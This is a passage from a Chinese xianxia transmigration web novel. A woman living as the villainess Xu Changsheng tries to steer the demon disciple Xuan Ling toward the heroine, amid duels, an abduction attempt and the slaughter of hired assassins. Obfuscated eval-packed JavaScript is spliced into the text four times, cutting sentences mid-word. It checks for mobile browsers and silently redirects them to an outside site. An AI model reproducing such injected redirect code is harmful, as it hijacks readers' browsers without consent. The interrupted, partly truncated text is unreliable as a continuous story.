沈星河疑惑皱眉，常栩也不知该如何解释，咳了一声，正要扯几句谎，竹月堂的房门此时打开。 穆蘅从院子里走出来，她有些意外常栩的到来，但也没多问，只嘱咐道：“岳婉吟的身体才刚恢复，莫与她说太多话。” 踏入竹月堂，常栩第一眼就看到床踏上的女子，心中的惊呼差点脱口而出。 不愧是《诛天》公认的第一美人！ 岳婉吟斜倚在靠枕上，青丝垂散，衬得一张素颜清艳绝伦。即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362899|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便不施粉黛，眉眼仍似水墨勾勒，如同水中清莲，脆弱中透着惊心动魄的美。 赞叹的同时，常栩不动声色地觑着宣凌，想知“一见钟情”是何模样。 却见他只匆匆扫了一眼就收回目光，神情泰然，与沈星河一起对韩尚同道：“见过韩师兄。” 韩尚同起身相迎，招待众人落座。 岳婉吟见常栩一言不发，主动开口道：“长生姑娘，婉吟到底还是给你添麻烦了。” 常栩正纳闷宣凌好像没什么反应，摆了摆手：“无碍。你好生休息，免得让外人以为我们苍华派亏待了你。” 这位大师姐一向说话不留情面，岳婉吟上次来苍华派就已经领教过了。 她不以为忤，仍是温声道：“多谢长生姑娘关心。婉吟此番能够得救，还是多亏你出手，实在无以为报……” “与我无关。”常栩哼了一声，指着宣凌道，“是这小子给了齐洋最后一击。要谢，你谢他就好。” 宣凌本来在角落里，闻言抬起头，不知道她又搞什么把戏。 听常栩这么说，韩尚同顺势将宣凌拉到岳婉吟面前，含笑道：“师姐说的没错，倒是我疏失了。岳姑娘，这位便是小师弟宣凌。” 岳婉吟眼波流转，唇边漾起一抹浅笑：“原来如此。婉吟在此谢过宣公子。” “岳姑娘客气了，侥幸而已。” 宣凌目光落在远处的剑架上，声音听不出波澜。 他瞥了一眼常栩，似是无意般问道：“只是有一事不明。岳姑娘本该回青离宫，怎会与韩师兄同行遇袭？” “是我冒失了。”岳婉吟轻咬下唇，眼中满是自责，“原想着或许能帮上些忙，反倒连累了韩公子。” 韩尚同正色：“岳姑娘万不可这般说。若非你及时相救，只怕我一个人……” 宣凌似是无意道：“岳姑娘有所不知，这几日韩师兄为了你，连饭都顾不上用，整日在竹月堂外守着，我这个做师弟的都看在眼里。” 岳婉吟闻言，不知想到了什么，低头莞尔。 韩尚同虽不解其意，却也不自觉跟着扬起嘴角。 宣凌收敛神色，侧目看着一旁眉头微皱、似有不满的常栩，又想到她云上阁外送刀的模样，唇边的笑意多了几分冷色。 常栩确实心情复杂。 她好不容易让宣凌与岳婉吟搭上话，还没说两句呢，怎么就回到韩尚同身上了？ 还有，男女主的感情进度是不是有点快啊？那岂不是没了宣凌插足的空间！ 常栩冷冷开口：“有穆蘅长老亲自医治，岳姑娘的伤势想必已无大碍。苍华派不比青离宫，不便久留。过几日，我自会派人护送姑娘离开。” 话音方落，竹月堂内的几人同时望向她。 韩尚同欲言又止，常栩却没理会他，径直离去，只对宣凌道：“对了，既然你这般关心韩师兄，便留在这里吧。明日再来寻我。” 沈星河也跟着告辞。 走出竹月堂的一瞬，系统：【叮！任务节点完成！您获得30点羁绊值，请注意查收。】 常栩终于松了一口气。 下山的路上，沈星河默默跟在常栩身后，好半天，他才后知后觉地说：“韩师兄，心悦……岳姑娘？” 常栩被他煞有介事的神情逗笑了，打趣道：“想不到沈师弟眼中除了剑，还能看到情爱，看来这段时日长进了不少。” 许长生常年冷着一张脸，很少流露笑意，更别说用这种轻松玩乐的语气。 沈星河有些怔住了，他感觉到脸侧有些发热，掩耳盗铃般低下头。 常栩见这位师弟如此禁不起调笑，实在可爱，忍俊不禁，笑得更大声了。 忽地，两个人的身后传来一道凌厉的剑气，划破了飘落的竹叶。 常栩回过头。 宣凌不知何时离开了竹月堂，正手持佩剑，一步步走上前来。 他凝视常栩脸上尚未消散的笑意，缓缓道：“好久没有和师姐切磋了。还请师姐赐教。” 10. 第十章 苍华掌门 常栩不明白宣凌突然发什么疯，正想喝止，就见剑气迎面而来，携带着凛然杀意，转瞬间已近在咫尺。 来不及反应，她反手握住赤荧剑挡下攻击，闪身一跃，飘然停在路边巨大的青石之上。 常栩抬手制止了沈星河上前的动作，摩挲着发麻的指尖，心知躲不过，冷冷道：“既然宣师弟有心，我便陪你过几招。” 宣凌依然笑得温和：“多谢师姐。宣凌定然全力以赴，方才不辜负您的关照。” 竹林之中掠过清幽微风，吹起二人的衣炔。 光影交错间，两道身影已经不知不觉过了数招，周围的几处翠竹应声而断，簌簌落到地上。 天雪峰灵气阴寒，山间草木盎然、溪水潺潺，无形中克制了常栩身上的阳火之力。她能明显感觉到，灼华令在运转之时略有滞涩。 幸而她这几日勤加修炼，尚能勉强应对。 相较之下，宣凌的动作更为自如，手上的剑宛如丝带随风而动，挑起飞扬的竹叶，让他的身影在林中若隐若现。 常栩的目光扫过周遭，踏着落叶借力飞出，穿过竹林，落在一处石板桥上。此地视野开阔，没了枝叶的遮挡，能让她更好地看清宣凌的动作。 虽不知宣凌为何突然发难，但既已决意出手，肯定不会轻易作罢。 因此，她必须全力以赴才行。 “出来。” 一瞬的寂静过后，常栩凝神注视桥下，手指微动，黑色长剑顷刻飞出，直直插在波光粼粼的水潭之中。 水色四溅，又如雨幕般坠下。星星点点的阳光透过水珠，映出炫目的飞虹，短暂地遮蔽了她的视线。 一串水珠闪过锋利的剑芒，带着彻骨的冷意。 常栩眸光一动，仿若未觉般站在原地，任由水珠从耳畔掠过，斩断发丝，在脸颊上留下一道剑痕。 与此同时，宣凌的身影无声出现在她的身后，剑尖闪过寒芒。 “师姐！” 远处观战的沈星河忍不住出声。 常栩却毫不在意。 下一刻，赤荧剑已回到她的手中，转身挥出。 “铿”的一声，长剑相接，冲天的剑气扫过溪水与竹林，留下晃动的波光。 常栩瞥见宣凌眼中闪过的错愕，在他反应过来之前一脚踢在他的腹部。 这次她没有刻意收着灵力，宣凌躲闪不及，身形如断线纸鸢般飞出，重重砸在竹林之内。 不等他起身，竹叶纷扬间，常栩已经欺身而至，迎着那双尚未敛去不甘的双眼，再度挥剑—— “够了。” 伴随着上方传来这句话，一股沛然灵力压在二人身上。常栩手腕一动，挥出的剑气从宣凌的身旁划过，在地上犁出一道深痕。 终于出手了。 常栩心下松了一口气。她一早感知到有人在注视他们，若是不下手狠些，宣凌的行为可就解释不清了。 三道人影从空中悠然落下。除了庚微和穆蘅二位长老之外，还跟着一名俊美的白衣男子，正勾起狭长的凤目，含笑望着常栩。 庚微拂袖收回灵力，眉头紧皱：“天雪峰是修养之地，你们二人怎能在此处私斗，成何体统！” 常栩梗着脖子，一言不发地收起剑，并不服气的样子。 宣凌则低垂这头，从地上爬起来向二位长老行礼：“弟子知错。” 随后赶来的沈星河看见白衣男子，“扑通”跪在地上，恭敬道：“弟子恭迎师尊出关。” 白衣男子这才收回目光，呵呵笑道：“星河也在啊，起来吧，早和你说了不必拘谨。” 常栩和宣凌两个人都愣住了。 师、师尊？ 常栩不无震惊地看向这个年轻俊美的男子，没想到他竟是谢千景——许长生的师尊、苍华派的掌门。 作为鸠占鹊巢的冒牌货，她一时之间不知道该说什么，默然站在原地，心里紧急求救系统。 宣凌第一次看到名义上的师尊，抬眼望去，却见谢千景只是温柔注视常栩，连半分余光都没给他，很快又低下头。 “长生，快让我看看，伤的重不重？”谢千景丝毫不在意常栩的冷淡，心疼地看着她脸上的伤口，“好端端的，怎么和师弟打起来了？” 这副模样，不像是一派掌门，只是一位寻常的、对妹妹嘘寒问暖的兄长。 常栩慢慢记起，许长生对谢千景的态度并不好，但谢千景却一直纵容她，直到再也无法庇护—— 至于其中具体缘由，原著小说并没有细说，常栩也就不得而知了。 穆蘅听到掌门这样问，怕他责怪宣凌，咳了一声：“宣凌旧伤未愈，想来也不是有意的，还不快随我下去。” 谢千景却摇了摇头，抬手让宣凌留下，而后问常栩：“长生，你尽管和我说，是不是受了什么委屈啊？师尊为你做主。” 庚微冷哼一声，对谢千景的做法见怪不怪。 宣凌垂眸。此番他主动挑衅，以许长生的性子，肯定不会善罢甘休。 “没有。” 常栩终于开口，淡淡道：“只是寻常的切磋而已。我身为师姐，一时失了分寸伤了师弟，是我的错。” 宣凌藏在袖中的指尖一动。 谢千景的神色缓和了些：“不妨事、不妨事，你是苍华派的大师姐，理应教训师弟。” 他这时才看向宣凌：“你是长生带回来的徒弟，我这个作师尊的没教过你，你该尊重师姐才对。今日也就罢了，记住，以后万不可如此胡来，更不可伤人。” 常栩的目光扫过宣凌染血的腹部，心想他可比我伤的严重多了，这掌门偏心过头了吧？ 她看不过去，插话道：“掌门何必大惊小怪。这小子能伤到我是他有本事，也是我有眼光。苍华派多一个高手，您还不高兴吗？” 庚微和穆蘅有些诧异，没想到能从常栩口中听到这番话。 谢千景也感到惊奇，一向自视甚高的许长生竟然会赞许他人有本事。 他从善如流，笑眯眯地说：“好、好，长生说得对，是我考虑不周了。你挑的师弟，肯定能力不凡。” 常栩：“……” 这么没原则的掌门，难怪许长生能在苍华派作威作福。 谢千景一高兴，从怀中拿出一串银环，随手扔给宣凌：“听说你是水灵根，这小东西送你了，就当是我这个师傅的见面礼。” 宣凌本来做好了受罚准备，对眼前的变故有些不知所措，故作老实的面容难得凝滞，神情稍显疑惑。 他目光复杂地看了常栩一眼，轻声道：“多谢师尊。” 庚微和穆蘅手下诸事繁忙，很快告辞。谢千景吩咐宣凌和沈星河先退下，转头问常栩愿不愿意陪他这个刚出关的人散步。 常栩本想推脱，但谢千景目光殷切，终究不忍，便对宣凌说：“你先去鸣鹤谷等我。” “是。” 宣凌乖巧应声，与沈星河一同下山。 顺着天雪峰一路向上，就是谢千景闭关的雁回楼。 他凝望远方，幽幽道：“修行愈久，就越是感到人力有时穷，纵使呼风唤雨，到底还是……难逃天命。” 谢千景是在收韩尚同之后闭关的，如今也有三年了。但他的神情回忆的是更遥远的事物，多了几分哀愁。 常栩紧急回忆小说中有关谢千景的内容，到底拿不准他在想什么，继续一言不发。 好在谢千景对她的沉默见怪不怪，自顾自说着：“长生，当初你母亲将你交给我，并不是希望你争强好胜，只求你能够保护好自己。” “这世间险恶，多的是因果循环和报应不爽，只要踏入就难以脱身。所以我也不求你惊天动地，只顺遂一生便好。” 常栩听谢千景像个老头子一样念叨半天，终于忍不住问：“您想说什么？” “齐洋的事，我已经知晓。” 谢千景话锋一转，“那剪命人手段阴毒，许多正道人士都为其所害。你能擒下他，实在是长进了不少。” 常栩只当他在夸赞自己，克制地说：“到底让他逃了。” 谢千景却道：“庚微同我说，你正派人搜捕齐洋的下落。长生，你该知道，剪命人或与魔族有所牵连，其中危险深不可测，又何必插手？” 常栩不解：“齐洋此番不光上门挑衅，还伤了青离宫的弟子岳婉吟。若是就这样放任，岂不是显得苍华派可欺？也被别的门派看了笑话。” “我知你一向争强好胜。”谢千景长叹，“可这次，你就听我一次，好吗？岳婉吟好了就派人送回去，多赔礼道歉便是。” 常栩略一思索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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相遇至今，宣凌面前的许长生，对他从来只有讥讽、怀疑、蔑视……所以，当看到她和沈星河谈笑之时，名为怨恨的怒火瞬间冲破了理智。 只留下翻涌的杀意。 这样的冲动不计后果，已然牵动了宣凌与许长生的契约，体内的锥心之痛至今方息。 不过，这对他来说并不算什么。只是未曾想到，掌门谢千景竟在此时出关，若是稍有不慎，他的魔族身份就有可能暴露。 更想不到的是—— “这便助师姐疗伤吧。” 宣凌站起身，主动卷起衣袖露出细瘦的手腕，指尖轻划，流淌的血气丝线般环绕在常栩的周围。 与上次稍有不同，常栩感觉到，不光心口的疼痛减轻，就连原本积存在经脉之中的沉疴竟也随之消散。 系统通报：【宿主请注意，您的修为超水平提升，身上旧伤获得抑制，时长为一个月。】 常栩对这番意外之喜十分满意。正好下个剧情点有几场恶斗，免不得要她出手，她可不想拖着残躯上战场。 修炼结束后，宣凌白着一张脸就要告辞，常栩叫住他，让他留在鸣鹤谷养伤。 没等系统反对，她不容置疑地说：“掌门说了，齐洋的事情你不必再管。待到过几日岳婉吟伤势痊愈，你带人护送她回青离宫。此事关系苍华派的颜面，你需好生修养。” 宣凌迟疑道：“敢问师姐，为何是我？明明韩师兄与岳姑娘……” 常栩的脸沉了下去，只觉得这小子不懂事，冷哼一声：“我的安排，需要向你解释吗？” 宣凌于是露出了然的神情，点头道：“宣凌明白。” 常栩：“……” 她心下狐疑，这小子真的明白了吗？ 不管怎么说，剧情应该是回到正轨了。常栩自认为安排巧妙，觉得之后的发展应该不用她参与了，任务也能顺利完成。 为了让宣凌能安心去找岳婉吟，她自觉在房间里闭关修炼，不去打扰他的感情进度。 直到七日之后，陆小满前来汇报说岳婉吟就要下山了，正与众人在山门外拜别，常栩这才离开昀秀峰。 刚落在山门附近，远远看到宣凌和岳婉吟并肩而立，常栩还来不及高兴，二人的对话就传到她的耳中。 宣凌恭敬道：“岳姑娘，大师姐吩咐我亲自护送您回去。” 岳婉吟客气摇头：“不必麻烦了。宣公子身上还受着伤，有这几位弟子随我回去就够了。” 宣凌道：“那好吧，岳姑娘一路保重。” 常栩：“？？？” 他明白个屁！ 11. 第十一章 护花使者 “宣凌，我是怎么吩咐你的？” 众弟子循声望去，见到一袭青衣的常栩径直飞来，纷纷拱手行礼。 常栩走到宣凌面前，冷声道：“当我苍华派不知礼数吗？” 岳婉吟柔声解释：“长生姑娘，你误会了，宣公子确实有意护送，是我不想……” 常栩充耳不闻，只盯着宣凌：“苍华派自有待客之道。宣凌，你若是不将岳姑娘安全送离，就不要回来见我了。” 岳婉吟有些尴尬。 这位大师姐性子强硬，此刻她也不好再多说些什么，只是懊恼地看向宣凌，以为是她自作主张连累了他。 宣凌见常栩脸色不善，也不辩驳，老实承认错误：“师姐教诲的是。宣凌明白了，这便带岳姑娘下山。” 常栩负手而立，注视着岳婉吟一行十几人顺着山路缓缓离去。 看守山门的弟子们见大师姐站在原地，不禁挺直腰杆，生怕被她挑出毛病。 就这样过了半个时辰，也不见她有什么动作，暗地里叫苦不迭。 常栩在山路上左右徘徊，心中隐有不安。 方才那一瞬，她看到宣凌脸上闪过不情愿的神色，头疼地想，这小子该不会打算阳奉阴违吧？ 宣凌不是已经喜欢上岳婉吟了吗，为什么还不主动护送？真是因为有伤在身，还是别的原因？ 常栩实在百思不得其解。 询问系统，也只能得到【未知信息】这样的无用回答。 思来想去，终究是不放心。她一咬牙、一跺脚，决定牺牲自己自己美好的闭关生活，主动加班跟着宣凌。 “唉！” 常栩长吁短叹地回了昀秀峰，先是找系统兑换五天的分身术，在永川镇的院中醒来后，又花费10点羁绊值传送物品。 系统：【兑换完毕。您的羁绊值余额为0，请注意充值哦~】 常栩：“……” 银光闪过，原本放在苍华派的一串风铃落在她的面前。这是她前几日让明曦寻来的法宝，能感知方圆一里内的灵力波动。 风铃内注入了许长生的灵力，今后只要宣凌出现在院子附近，她就能第一时间觉察到。 见系统真的将风铃传送过来了，常栩询问道：“那你可不可以传送人？我这副凡人身体做什么事情都得靠走，太不方便了。” 系统：【暂无此功能，敬请期待。】 “切！” 常栩也没指望这破系统能帮上什么忙，随口吐槽了一句真没用，就拎着风铃出门。 今日的街道比以往热闹许多。她推开院门，远远瞧见街尾那边有一群人围在一起，不知道在说些什么。 收回目光，常栩将风铃系在门楣之上。 碧绿色的风铃轻轻摇曳，为院落增添了几分生活气。 满意地点了点头，常栩支着脑袋坐在门口，思考接下来的第一步——为了让任务顺利完成，她需要全程跟在宣凌和岳婉吟身边，充当最佳助攻。 那么问题来了，要用什么理由联系宣凌呢？ 常栩拿出放在腰间的玉牌，若有所思。 这时候，远处聚在一起的人群好像正往这边走来，隐隐约约传来女子求饶似的哭声。 附近几家原本在看热闹的人忙不迭关上大门，有人提醒常栩：“姑娘，县太爷的公子又来抢人了，你快躲一躲，可别让他瞧见了！” “哦？” 常栩眯起眼睛，心生一计。 人群之中，一袭锦绣鲜衣的瘦高男子正吊着眼睛四处打量，身后的随从们强行拖着一名麻布女子跟着他。 那女子面色苍白，哆嗦着哽咽道：“高、高少爷，您就放过我吧，我是外地来的，明天就要离开了……我家里还有老母亲在等我，求求你……” 高羡麟不耐烦地啧了一声。旁边的矮个儿男子马上喊道：“吵死了！哭丧似的！你们是干什么吃的，还不把她的嘴赌上！” “是、师爷说的是……” 随从们七手八脚地用白布塞住女子的嘴，她出不得声音，只能绝望地流泪。 高羡麟却仍不满意。他见街上百姓对他避之唯恐不及，颇为不爽：“人呢？都一个上午了，连个像样点的姑娘都没有，永川镇的人都死绝了吗？” 师爷道：“少爷您可能不知道，前阵子不知打哪儿来个疯子，那是见人就杀，连金蝶山庄都让他给灭了。镇上的人被吓怕了，都不敢出门，更找不到姑娘了……” “有什么了不起的？不还是被苍华派给灭了嘛，一群没胆的东西！” 高羡麟不以为意，脑袋转了一圈，一双三白眼突然睁大，脚步也随之停下。 师爷顺着他的目光看过去，只见一处不起眼的院落前，鹅黄色衣裙的女子倚门而立，脸上挂着恬淡的笑容，一双杏目清水般澄澈，静静地注视着他们。 高羡麟狠狠踹了一脚：“师爷！你不是说没姑娘了吗？” 师爷“哎呦”一声揉着屁股，马上回答：“少爷，我也是才想起来，这女子是半月前来的，我派人打探过，她整日里足不出户，今日也是难得露面。” “如此看来，她是与本少爷有缘啊。” 高羡麟面露喜色，大摇大摆地走上前去，嬉笑着问道：“这位小娘子，你站在这里做什么，莫不是在等我？” 常栩见了他并不害怕，眨了眨眼睛：“公子说笑了。我家里无人，一个人太过孤单，便到门口来瞧一瞧过路人，好让自己安心些。” “家里没人？” 高羡麟喜笑颜开，更加满意。 见这女子不谙世事，他难得生出些良心来，不想吓到她。他甩开腰间的错金扇，装模作样道：“在下高羡麟，这厢有礼了，不知姑娘芳名？” 师爷配合补充道：“姑娘，我说你可是见到贵人了。这位是本地县官的公子爷，在永川镇，大大小小的事情都由他做主！” “原来如此。民女裳儿，见过高少爷。” 行礼之后，常栩的目光落在瑟瑟发抖的麻衣女子身上，疑惑道：“这位姑娘如此可怜，不知是犯了什么错吗，高少爷为何抓她？” 高羡麟一时语塞，看着那女子哭的不成样子的脸，摆手让人放开她：“也不是什么大事，既然裳儿姑娘都这么说了，我就不为难她了，走吧走吧。” 女子感激地看了常栩一眼，然后头也不回地冲出人群。 “多谢高少爷。”常栩甜甜地笑了一下，“若不嫌弃，还请高少爷到院中一坐。” 高羡麟眉头一挑。按他的风格，本该直接把人带走，但看她一脸单纯，觉得新鲜，便让随从们留在外面，只带着师爷走进院中。 常栩端着茶壶从屋内走出，敛起袖子、露出一截皓腕，将茶盏交给高羡麟：“高少爷，这泡的茶如何？” 衣摆扫过他的手，留下一阵清雅的风。 “香、香……” 高羡麟喝了几口茶，越看常栩越满意，放下茶盏就急不可耐地说：“裳儿姑娘，你这院子太破了，住的惯吗？不如和我回高家，保准比这里舒服百倍！” 常栩摇了摇头，为难道：“承蒙高少爷厚爱。不过，我还有位哥哥在这边，我要等他，不能离开。” 高羡麟一愣，扭头瞪视师爷，咬牙问：“哪儿来的哥哥？情郎吗？” 师爷抹了把汗，忙附耳解释道：“少爷误会了，应该不是，那男人只匆匆来过几次就……” 高羡麟放下心来，谅这种平头百姓也没什么大人物哥哥，于是自信道：“没什么大不了的，要是知道是跟我在一起，你哥哥肯定高兴。” 他原以为这女子看上去涉世不深，定然十分好哄。 没想到常栩仍是摇头，慢条斯理道：“我答应哥哥了，要守在这里。我不会走的。” 师爷心想，怎么又是个不知好歹的，这下少爷又要生气了。 果然，高羡麟耐心告罄，也不装正人君子了，冷哼一声：“这可由不得你！真是敬酒不吃吃罚酒，来人啊，把她给我带走！” 门外的随从们就等着这句话，二话不说冲进来，将常栩团团围住。 常栩步步后退，摩挲着紧握在手心的玉牌，似在喃喃自语：“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宣凌冷冷看着他，一股寒风吹过，高衙内身上同时划破了几个口子。旁边的师爷慌忙喊道：“少爷！您的脸！” 高羡麟面容抽搐了下，见有血滴落到衣襟，惊恐道：“啊！血！有血！啊啊啊疼死我了！” 他夸张地喊叫起来，咬牙切齿地让随从们赶紧出手打宣凌。然而这些人修为低下，根本不是宣凌的对手，无人敢上前。 师爷比较识时务，拉住高羡麟：“少爷、少爷！我们今天就算了吧，先回去、先回府！” 说完，也不顾他的挣扎，一群人赶紧架着他离开院子。 临走之时，高羡麟犹在不甘心地喊：“宣凌！我记住你们了，给我等着，我不会放过你的！” 院落终于安静下来。满地狼藉之中，常栩舒了一口气，明知故问：“宣凌哥哥，你怎么来了？” 宣凌指着她手中的玉牌，道：“我说过，只要你唤我，我便会来找你。” 这话说得动听，让常栩心下一暖。 其实她也没想到他能来得这么快，仿佛就在附近一般。难道说他和岳婉吟此时恰好路过永川镇？ “方才那群人……” 宣凌似乎想要问什么，却没有说出口。他从怀中拿出一串手环，交到常栩的手上。 “护身用。里面有我的灵力。” 七八枚银色的细环相扣，微动时泠泠相触，声若清泉漱玉。 常栩觉得有些眼熟，打量半天才想起，这不是谢千景给宣凌的礼物吗？ 没想到宣凌连这个都舍得给她。 就在常栩暗自讶异之时，宣凌已经挥手将院子收拾好，坐到石椅上，然后望着她：“我也想喝茶。” 常栩见他不紧不慢，似乎并不着急走，试探性地问道：“对了，宣凌哥哥，你来永川镇是有什么事情要做吗？” 宣凌点了点头：“师姐让我护送一位姑娘到青离宫，路过此地。” “原来是这样，那还不……” 常栩方定下心神，就又听他说：“那位姑娘说有事在身，不劳护送。此刻，想必已离了永川镇。” 常栩：“……” 第一步就走歪了！ 12. 第十二章 焕山 常栩深吸一口气，胸口剧烈起伏，仿佛要把方才的惊吓都压下去。 随后，她似是心有余悸，面露愁容：“宣凌哥哥，那高少爷……怕是记恨上我了。若是他再来，可如何是好？” “无事。” 宣凌的目光闪过一丝杀意，看着高羡麟离去的方向，沉稳道：“有我在，他伤害不了你。” “可你总不能一直陪着我……”常栩不安道，“宣凌哥哥，除了你我谁都不认识，我不想一个人留在这里。” 宣凌仍未会意：“不用怕，有我赠你的手环在，寻常人近不得身。稍后我再在院外设下几道法阵。” “我也不想一直躲在院子里！” 常栩恨他是块木头，嘴巴一撇，眼眶泛红：“宣凌哥哥，你带我走吧！我自小生活在金蝶山庄，还没离开过永川镇呢，我想去看看外面的世界。” 少女注视着宣凌，湿漉漉的眼中浮现出憧憬之色。 像是魔界那群弱小又天真的小妖怪。 宣凌无意识地抬手，却在触及她发丝前蓦地收住，只问道：“你想去哪里？” “焕山！” 常栩不假思索，又重复了一遍，“我想去焕山。” 宣凌原想借这次下山的机会寻处清修，可见她如此期盼，终是颔首：“好。” 从永川镇到焕山约七百里路程，为了赶时间，常栩主动提出让宣凌御剑带她。 谁曾想由于这具身子半点灵力也无，她才飞了一刻钟不到就头晕目眩，落地后吐得昏天黑地。 无奈之下，只得沿途雇马车慢行。 令常栩意外的是，宣凌竟也由着她，始终不紧不慢地跟在一旁，脾气好得出奇。 这是常栩第一次真正走入《诛天》的世界。 自从二十年前一场人魔大战，世间邪祟纷起。也正是在那之后，以“天元宗”为首的几大仙门成立了“道清盟”，陆续插手地方治理，逐渐稳定了人间秩序。 当今天下，各地的治理者都由道清盟任命。苍华派只是个小门派，并未加入道清盟，因此就算永川镇在不息山脚下，像高家那样的县官也不受苍华派管理。 一路上，常栩看到了形形色色的人，最大的感触就是：这方修真世界的凡人生活，与她认知中的古代没有太大差别。 偶有修士御空而过，或是渡劫的滚滚天雷劈向某处，对寻常百姓而言不过是茶余饭后的谈资。 城镇的街道上依旧车马喧嚣，充斥着最为厚重、也最为朴实的人间烟火。 某种程度上，宣凌同常栩一样，对这个世界初来乍到。 北域壁立千仞的危冥山分割了人魔两界，双方大多数时间并不互通，更不互相了解。 他因魔族内乱才逃到人界，虽在苍华派生活了一载有余，基本上没离开过不息山的范围，因而也对这人间有颇多好奇。 只是宣凌向来没什么表情，叫人瞧不出究竟有几分兴致。 好在常栩熟读原著，多少能揣摩一些他的心思。每当他的目光在某处多停留片刻，便找借口在这附近歇脚。 看着宣凌眸子里偶尔浮现的光彩，她也不禁觉得欢喜。 “两位客人，过了前面的荒岭就是焕山了，我只能送你们到山下。” 因着二人一路都雇马车慢行，即便宣凌的腰上别着佩剑，车夫也只当他是寻常人，提醒道：“听我一句劝，那地方不干净，闹过鬼，还有些匪徒专门在里面打家劫舍，你们真不怕遇到危险？” 常栩弯起嘴角，笑道：“有宣凌哥哥在，我不怕。” 车夫觉得年轻人不知天高地厚，忍不住道：“看你们像是偷跑出来玩的公子小姐，这世道不比从前，凶险多了！” “还有你这当哥哥的，瞧着不过弱冠之年，能有多好的本事？可别逞强送了性命！” 宣凌听他说个不停，懒得与他多费口舌：“说完了吗，说完就回去。” 车夫连连摇头，嘟囔了两句“真不听劝”，匆匆卸下行囊，赶在天黑前下车快步离开。 夜色渐深，山路崎岖难行。 常栩走了这许久，双腿早已酸软无力，便在山腰寻了处平坦的地方休息。 有宣凌在身边，她自是放一百二十个心，懒懒地倚靠在一块青石旁。抬眼望去，但见树林阴翳、月色昏昧，不觉连打了几个哈欠。 常栩困意渐浓，不住地磕头，险些就要倒在地上。 半梦半醒间，她看到身旁的宣凌持剑起身，飘起的衣袂与月光交融成朦胧的白，像是要飘走一般。 她脑子昏昏沉沉的，无意间忘了自己现在的身份，含混不清地呓语：“宣凌、回来……你又要去哪里……” 宣凌只当常栩睡迷糊了，俯身轻轻托住她摇摇欲坠的脑袋，让她躺在草地上，低声道：“睡吧。” 待到少女舒展眉宇、呼吸渐渐平稳，他眸中的温度骤然褪去，冷冷看向漆黑一片的山林深处。 浓雾笼罩的树林分外幽静，只有不时传来的“沙沙”声，像是被风吹动的树叶。 然而宣凌看得真切，十几名黑衣人正隐匿在茂盛的草木之中。这群人从白天开始一路尾随他们，已经有七八个时辰了。 “大哥，他们应该睡下了。” 一个少年伏地听声，压低嗓音道。 “两个毛头小子罢了！”另一人不耐道，“四弟你何必如此谨慎？要我说，早该在山口就剁了他们！” 领头的黑衣人道：“小心为上。雇主说了，那个男的是苍华派弟子，有些修为。” “那又怎么样？我们兄弟修炼这么些年，难道还比不上他！” 领头人道：“行了，既然四弟说他们睡下了，现在动手也不迟。” 一群人屏息凝神，无声地踏在草叶顶端，悄然运转手上灵力，慢慢靠近常栩所在的空地。 就在此时，一阵风唐突地刮过，将几个黑衣人吹倒在地，抽搐了几下，竟然不动了。 其余的人停下脚步，尚不明白发生了何事。唯有被称为“四弟”的少年瞪大了眼睛，满眼惊恐：“大、大哥——” 话还没说完，又是几个黑衣人无声倒下。 仿佛看到恶鬼一般，少年抱着脑袋瑟瑟发抖。 直到周围人的脑袋滚到脚下，领头人才看清满地鲜血，目眦欲裂：“是谁！何方高人在此！” 一柄剑从身后架在他的脖子上，贴着皮肉，剑刃还沾着尚有温热的血，却只让人不寒而栗。 “是谁派你们来的？” 这声音冷得骇人，领头人只觉汗毛倒竖，不由得没了反抗的勇气。 他连忙交代：“是、是一名姓高的公子！他说有人和他的爱妾私奔，让我们杀了这对奸夫□□……我们只是拿钱办事，你要找就找——” 剑光闪过，人头再次落地。 只剩下那个抖若秋叶的少年。 “别杀我！我、我也是魔修！我可以帮您！” 少年浑身颤抖着跪在血泊中，额头死死抵着地面。 “我去杀高公子！您应该不想亲自动手的吧，让我帮您！只要别杀我！” 长剑停了下来。 常栩这一晚睡得很香，醒来时晨曦正好。 宣凌就坐在附近的溪边，不知何时换了一身干净的白衫，正专注地拭剑。粼粼水光淌过他修长的手指，剑刃寒芒流转，隐隐映出“虚名”二字。 常栩伸了个懒腰，想起昨晚瞥见的身影，不确定地问：“宣凌哥哥，是不是出什么事了？” 宣凌手腕一转，长剑归鞘：“无事。” 也对，宣凌能出什么事儿？ 常栩没怎么在意，简单收拾好行装，叫上宣凌继续赶路。 下山的路通向焕山城。 常栩掰着手指算了算，赶路用了三日，距离任务截止还剩三天。 接下来，她和宣凌只需在城中守株待兔，不信遇不到岳婉吟！ 焕山城不愧是方圆百里最为繁盛之地。空中不时有修士御剑而行，城墙上灵光流转，显然是布了护城大阵。 今日的城中格外热闹。 常栩和宣凌刚走出不远，就被一支声势浩大的挡住了去路，行人都被挤在道路两旁，也有不少人攀上屋檐，或是干脆悬在飞剑上。 三丈高的青面神像端坐八抬大轿中，白面散发的轿夫摇摇晃晃，脚下走着“之”字步。一旁还有类似判官打扮的人，手中锁链拖着一大串纸扎妖魔。 最前头的道士手持三清铃，沿路用柳树枝条挥洒金盆之水，口中念念有词：“茫茫酆都中，重重金刚山。灵宝无量光，洞照炎池烦……” 随着他的咒语， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 